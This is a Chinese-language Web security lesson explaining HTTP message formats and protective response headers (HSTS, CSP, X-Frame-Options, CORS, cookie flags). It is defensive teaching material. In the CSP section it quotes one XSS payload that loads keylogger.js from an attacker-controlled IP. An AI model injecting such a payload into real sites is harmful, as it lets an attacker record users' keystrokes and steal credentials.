You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

193 lines
11 KiB
Markdown

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# 30HTTP Header安全标志协议级别的安全支持
你好,我是王昊天。
前几天,我在路上遇到了一个外国友人,他用英语问我如何前往上海火车站。我一时没缓过神,直接用中文回答他,乘坐一号线就可以到达。看着他迷茫的眼神,我反应了过来,接着赶忙用英语来回答他。还好我英文不错,他听懂了,在对我说了声谢谢后就走上了一号线。
事后,我反思了一下,我们人和人之间的沟通,其实都会按照一个隐形的协议去进行,例如我会中文和英文,外国友人却只会英文,所以我们就需要用英文才能进行沟通。
那么你知道我们是如何与Web应用进行有效通信的吗事实上我们与Web应用的交互也离不开一个广泛运用的协议—— HTTP协议。这个协议规定了Web客户端如何从Web服务器请求Web页面以及服务器如何把Web页面传送给客户端。
除了这些广为人知的作用HTTP协议还能对Web应用提供一些安全支持。这一讲我们就一起学习下HTTP协议对于安全有哪些支持。
## HTTP协议
首先我们需要搞清楚什么是HTTP协议。
HTTP协议即超文本传输协议Hyper Text Transfer Protocol。它是一个简单的请求-响应协议且通常运行在TCP协议之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。这个协议是早期Web成功的有功之臣因为**它使开发和部署非常得直截了当**。
![图片](https://static001.geekbang.org/resource/image/45/91/45e83aa517d5cf1c279f10091cd32c91.jpg?wh=640x480)
在了解完HTTP协议的大致功能后让我们一起看一个示例了解HTTP协议所规定的消息样式。
这是我访问百度页面时用BurpSuite捕获到的报文
```plain
GET / HTTP/1.1
Host: www.baidu.com
Cookie: BIDUPSID=D6FC148CB0142694E6019498ECE6FA8F; PSTM=1644916942;
...
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
我们可以看到这是一个请求报文报文中第一行内容为HTTP请求的方式以及所用到的HTTP协议版本。其它行都是定义的HTTP请求头信息即HTTP Request Header信息。
将请求报文发出后我们会收到Web应用返回的响应报文
```plain
HTTP/1.1 200 OK
Bdpagetype: 1
Bdqid: 0xeafae0b1000f161a
Cache-Control: private
Content-Type: text/html;charset=utf-8
Date: Tue, 15 Feb 2022 12:35:42 GMT
Expires: Tue, 15 Feb 2022 12:35:31 GMT
Server: BWS/1.1
Set-Cookie: BDSVRTM=0; path=/
Set-Cookie: BD_HOME=1; path=/
Set-Cookie: H_PS_PSSID=35410_35104_31254_34584_35491_35872_35796_35324_26350_35746; path=/; domain=.baidu.com
Strict-Transport-Security: max-age=172800
...
<!DOCTYPE html><!--STATUS OK-->
<html>...</html>
```
我们可以发现响应报文的第一行也是所使用的HTTP协议版本信息后面会跟上响应的状态码。下面几行会包含一些HTTP Response Header即HTTP响应头信息。最后**从<html>标签开始,是响应页面的内容。**
到这里我们已经知道了HTTP协议的作用并且对HTTP请求报文和响应报文都有了一定的了解。接下来让我们来学习HTTP Header中的安全标志了解HTTP协议为了保证Web应用的安全做出了哪些应对措施。
## HTTP Header安全标志
HTTP协议可以分为请求与响应两部分所以HTTP Header按照功能也可以分为HTTP请求头以及HTTP响应头。
其中请求头包含了有关要获取资源的客户端信息而响应头则包含一些有关响应的附加信息。因此有关安全的HTTP头都被设在HTTP响应标头中。下面让我们一起看几个典型的HTTP安全响应头它们都是用于定义是否应在Web浏览器上激活一些安全预防措施。
### HSTS标志
HSTS标头即HTTP Strict Transport Security的简称**它是Web应用使用最广泛的安全标志之一**。这个标志会告诉浏览器只能通过HTTPS协议访问当前资源而不可以使用HTTP访问。
这里我们来了解下什么是HTTPS协议。
这还要从HTTP协议说起虽然HTTP协议使用极为广泛但是却存在不小的安全缺陷主要是其**数据的明文传送和消息完整性检测的缺乏**,而这两点恰好是网络支付等新兴应用中安全方面最需要关注的。
关于HTTP的明文数据传输最常用的攻击手法就是**网络嗅探**。攻击者可以试图从传输过程当中分析出敏感的数据例如从管理员对Web程序后台的登录过程中攻击者可以从中获取网站的账号密码从而获取网站管理权限。
另外HTTP在传输客户端请求和服务端响应时唯一的数据完整性检验就是在报文头部包含了本次传输数据的长度而对内容是否被篡改不作确认。 因此攻击者可以轻易地发动中间人攻击,修改客户端和服务端传输的数据,甚至在传输数据中插入恶意代码只需要保证传输数据长度不变即可。
为了解决这个问题HTTPS协议应运而生它是由HTTP加上TLS/SSL协议构建的可进行加密传输、可检测消息完整性的网络协议。因此当我们使用HTTPS访问一个页面时会更有安全保障。
接下来让我们通过一个示例来体会HSTS标志的作用。
我们先使用HTTP协议访问百度获取到如下报文
![图片](https://static001.geekbang.org/resource/image/3d/e5/3dd1b273c62c68a4c00df7cf748501e5.png?wh=1596x1196)
从报文中我们可以看到请求发出后收到了响应302这意味着需要进行跳转操作。从location信息中我们发现它会跳转到百度的HTTPS服务。
![图片](https://static001.geekbang.org/resource/image/0e/56/0e00d79aa27dd50f285daf77a8774856.png?wh=1840x1222)
接着我们果然看到一个发往https://www.baidu.com的请求报文并且在请求报文中配置了Strict-Transport-Security并且给它赋值为max-age=172800这意味着该配置的有效时间为172800秒即48小时。
为了方便观察我们清空HTTP history中的记录再次用HTTP协议访问百度页面获取到的记录如下
![图片](https://static001.geekbang.org/resource/image/80/1d/8016539fbf1207c1e4b79bf485876d1d.png?wh=1500x1120)
可以看到我们的HTTP访问直接变为了更安全的HTTPS访问这就是HSTS标志的作用。
到这里我们已经学完了HTTP协议的第一个安全标志。接下来让我们继续学习其他的安全标志。
### CSP标志
不知道你是否还记得CSP即Content-Security-Policy我们在之前学习XSS攻击的防御时曾提到过这一防御方案。事实上它也是一个HTTP安全响应头我们可以利用它来定义页面可以加载哪些资源。
这么说可能有点抽象下面让我们一起看一个示例来帮助我们理解CSP的作用。
```plain
Content-Security-Policy: script-src 'self'
```
这是一个CSP标志配置示例它的值为 `script-src 'self'`这代表会对JavaScript代码的加载做一些限制仅允许加载与Web页面相同来源的JavaScript代码。注意**这里的相同来源指的是相同的协议、域名和端口。**
回顾我们用XSS攻击实现按键记录的过程我们需要利用如下语句加载恶意服务器上的 `keylogger.js` 的内容,从而实现按键记录功能。
```javascript
<script%20src=http://192.168.3.193/keylogger.js></script>
```
可如果被攻击的Web应用添加了上述CSP策略就会导致我们的JavaScript代码加载失败从而无法实现我们的攻击行为。
下面让我们继续学习X-Frame-Options安全标志的功能。
### X-Frame-Options标志
X-Frame-Options响应头也是一个重要的HTTP Header安全标志它用来配置是否允许一个页面可在 <frame><iframe><embed> 或者 <object> 中展现设置的内容。
接下来,我们一起来看一个示例:
```plain
X-Frame-Options: DENY
```
在这个示例中我们将它的值设为DENY表示该页面不允许在frame等上述标签中展示任何内容。事实上它还有两个可能取值SAMEORIGIN以及ALLOW-FROM uri。其中SAMEORIGIN代表仅允许在上述标签中展示与当前页面域名相同的内容而ALLOW-FROM uri则代表仅允许在其中展示uri对应页面的内容。
还记得我们在XSS学习中曾今利用XSS攻击实现了广告的植入操作产生的效果如下图所示
![图片](https://static001.geekbang.org/resource/image/60/81/605dcc52caa1ca45a6651cc185470081.png?wh=1269x686)
如果Web应用在响应中配置了这一标签那么就可以有效地抵御广告的植入。
接下来我们继续来学习另一个常用的HTTP协议响应头即Access-Control-Allow-Origin它可以用来进行资源的访问权限设置。
### Access-Control-Allow-Origin标志
Access-Control-Allow-Origin标志指定了该响应的资源是否被允许与给定的origin共享。
为了让你更好地理解,下面让我们一起来看一些示例:
```plain
Access-Control-Allow-Origin: *
# 或
Access-Control-Allow-Origin: https://mituan.zone
```
它有两种配置方式,第一种将它的值设为\*这代表允许所有域名访问当前响应的资源。第二种将它的值设为一个具体的uri这代表仅允许该域名访问当前响应的资源。因此**Access-Control-Allow-Origin标志可以使网站之间安全地跨域获取资源。**
最后我们来看一个相对熟悉一些的HTTP响应头Set-Cookie。
### Set-Cookie标志
在上一讲中我们学习了保持登陆状态的认证事实上它就是通过Set-Cookie来实现的。
Set-Cookie标志不仅可以用来配置浏览器的Cookie信息同时它还能对Cookie信息进行一些保护。下面还是一起看一个示例
```plain
Set-Cookie: <cookie-name>=<cookie-value>; Secure; HttpOnly
```
在这个示例中我们写入了一个cookie的值同时在后面加了两个配置项Secure以及HttpOnly。其中Secure的作用是强制cookie只能在HTTPS环境下传递而HttpOnly则可以禁止使用JavaScript去存取cookie。它们都可以有效地保护cookie信息防止攻击者窃取cookie。
## 总结
在这一讲中我们学习了HTTP Header对于Web提供的协议级别的安全支持。
首先我们回顾了HTTP协议的内容并对请求报文的格式以及响应报文的格式等基础知识进行了学习与回顾。
在学习基础知识的过程中我们了解到在响应报文中会存在一些HTTP Header信息。其中有的HTTP Header内容可以对我们的Web应用进行保护。
最后我们对其中常用的五个典型HTTP Header进行了学习。它们分别为HSTS标志、CSP标志、X-Frame-Options标志、Access-Control-Allow-Origin标志以及Set-Cookie标志。在学习过程中我们了解了它们的作用并通过示例理解了它们的配置方式。
## 思考题
你知道还有哪些HTTP Header可以对Web应用提供安全支持吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!